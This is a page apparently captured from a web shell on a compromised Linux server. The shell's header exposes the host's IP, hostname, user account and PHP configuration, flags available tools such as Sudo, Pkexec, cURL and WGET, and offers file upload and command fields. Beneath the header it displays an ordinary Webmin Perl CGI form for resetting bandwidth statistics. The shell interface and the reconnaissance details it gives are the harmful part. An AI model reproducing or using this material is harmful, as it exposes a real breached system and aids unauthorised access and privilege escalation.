Private
Server IP : 195.201.23.43  /  Your IP : 18.117.161.73
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/bwreset_form.cgi
#!/usr/bin/perl
# Show a form for re-generating bandwidth stats

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newbw_ecannot'});
&ui_print_header(undef, $text{'bwreset_title'}, "");

print $text{'bwreset_desc'},"<p>\n";
print $text{'bwreset_desc2'},"<p>\n";
print $text{'bwreset_desc3'},"<p>\n";

print &ui_form_start("bwreset.cgi", "post");
print &ui_table_start($text{'bwreset_header'}, undef, 2);

# When to reset from
@tm = localtime(time());
print &ui_table_row($text{'bwreset_date'},
		&ui_textbox("date_d", $tm[3], 2)."/".
		&ui_select("date_m", $tm[4],
		   [ map { [ $_, $text{"smonth_".($_+1)} ] } (0..11) ])."/".
		&ui_textbox("date_y", $tm[5]+1900, 4)." ".
		&date_chooser_button("date_d", "date_m", "date_y"));

# Features to reset
foreach $f (@features) {
	$afunc = "bandwidth_all_$f";
	$bwfunc = "bandwidth_$f";
	if (defined(&$afunc) || defined(&$bwfunc)) {
		push(@cbs, &ui_checkbox("feature", $f, $text{'feature_'.$f},1));
		}
	}
print &ui_table_row($text{'bwreset_features'},
		    join("<br>\n", @cbs));

# Domains to reset
@doms = &list_domains();
print &ui_table_row($text{'bwreset_domains'},
		    &ui_radio("domains_def", 1,
			      [ [ 1, $text{'bwreset_domains1'} ],
				[ 0, $text{'bwreset_domains0'} ] ])."<br>".
		    &servers_input("domains", [ map { $_->{'id'} } @doms ], \@doms));

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'bwreset_ok'} ] ]);

&ui_print_footer("", $text{'index_return'});
Private